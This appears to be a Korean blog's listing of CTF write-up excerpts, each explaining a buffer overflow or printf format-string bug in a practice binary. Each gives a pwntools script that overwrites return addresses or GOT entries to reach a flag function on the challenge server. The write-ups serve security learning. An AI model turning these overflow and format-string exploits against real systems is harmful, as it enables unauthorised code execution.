목록write-up (28)
ii4gsp
#include #include #include #include #include #include #define BUFFSIZE 64 #define FLAGSIZE 64 bool win1 = false; bool win2 = false; void win_fn1(unsigned int arg_check) { if (arg_check == 0xDEADBEEF) { win1 = true; } } void win_fn2(unsigned int arg_check1, unsigned int arg_check2, unsigned int arg_check3) { if (win1 && \ arg_check1 == 0xBAADCAFE && \ arg_check2 == 0xCAFEBABE && \ arg_check3 == 0..
64bit 바이너리이다. main()함수에서 vuln()함수를 호출한다. vuln()함수에서 gets()함수로 v1에 입력을받는다. v1은 rbp-40에 위치한다. v1 ~ sfp = 64 v1 ~ ret = 72 72byte dummy를 주고 ret를 flag()함수로 조작해주면 된다. from pwn import * s = ssh(host = '2019shell1.picoctf.com', user = '', password = '') s.set_working_directory('/problems/newoverflow-1_4_3fc8f7e1553d8d36ded1be37c306f3a4') p = s.process('./vuln') e = ELF('/home/ii4gsp/picoCTF/vuln') flag..
main()함수를 보면 printf()함수에서 FSB취약점이 발생한다. play_game()함수에 system("cat ./flag"); 가 있다. system()함수를 호출하기전 인자 0x400750을 printf@got에 덮어주면 된다. from pwn import * r = remote('ctf.j0n9hyun.xyz', 3022) e = ELF('/home/ii4gsp/HackCTF/you_are_silver') flag = str(0x400750) printf_got = e.got['printf'] payload = '' payload += '%' + flag + 'x%8$ln' payload += '\x90' * 2 payload += p64(printf_got) r.sendline(paylo..
main()함수와 flag()함수가 있다. main()함수에서 fgets()함수로 s에 60만큼 입력받는다. 버퍼오버플로우는 불가능하다. 밑에 printf()함수에서 FSB 취약점이 일어난다. from pwn import * r = remote('shell.actf.co', 19011) e = ELF('/home/ii4gsp/purchases') printf_got = e.got['printf'] flag = e.symbols['flag'] flag = str(flag) payload = '' payload += '%' + flag + 'x%10$ln' r.recvuntil('? ') r.sendline(payload.ljust(16) + p64(printf_got)[:3]) r.interactive()..
main()함수에서 scanf()함수로 v4에 입력을받고 1을 입력하면 gets()함수를 실행한다. flag()함수에는 if문을 맞춰주면 flag를 출력해준다. 그냥 main()함수에서 gets()함수를 실행시켜 v5를 오버플로우 시키고 ret를 system()함수와 인자를 전달하면 flag가 출력될것 이다. system()함수의 plt는 0x401050이고, 인자는 0x401231이다. from pwn import * r = remote('shell.actf.co', 19400) r.sendline('1') payload = '' payload += '\x90' * 56 payload += p64(0x401050) payload += p64(0x401231) r.sendline(payload) r.in..
간단한 문제이다. main()함수에서 create_aquarium()함수를 호출한다. create_aquarium()함수에서 scanf()함수로 6번 각 변수에 입력을받고 gets()함수로 변수 dest에 입력을받고, strcpy()함수로 dest에 입력한 내용을 src에 복사를 한다. src를 오버플로우 일으켜 ret를 flag()함수로 조작하면 된다. from pwn import * p = remote('shell.actf.co', 19305) e = ELF('/home/ii4gsp/aquarium') flag = e.symbols['flag'] p.sendlineafter(': ', '1') p.sendlineafter(': ', '1') p.sendlineafter(': ', '1') p.send..
printf()함수에서 포맷스트링 버그가 일어난다. setup()함수에서 printf()의 포맷스트링을 설정해준다. qword_601160은 usr과 128byte만큼 차이가 난다. 바이너리 안에는 플래그의 주소에 가짜 플래그가 있다. 서버에는 진짜 플래그가 있을것이다. Exploit from pwn import * r = remote('svc.pwnable.xyz', 30004) flag = 0x601080 payload = '' payload += 'y' payload += 'A' * 7 payload += p32(flag) r.recvuntil(": ") r.sendline(payload) formatstr = '%p %p %p %p %p %p %p %p %s %p' payload = '' payl..
파일을 다운로드 해주자. IDA로 열어보면 v5 + 7에 0xDEADBEEF를 넣고 scanf()함수로 v6, v7, v8에 입력을받는다. v5[v8 + 6]에 v6과 v7을 더한 값을 저장하고, 값을 출력한다. v5 + 7이 0xB000000B5면 win()함수를 실행하여 flag를 출력해준다. v5[0]에 -5,404,319,552,844,595,200을 입력해주고 v5[1]에 184,549,376을 입력해주면 된다. Exploit from pwn import * r = remote("svc.pwnable.xyz", 30003) r.sendline("-5404319552844595200 0 -6") r.sendline("184549376 0 -5") r.sendline("asd") r.interact..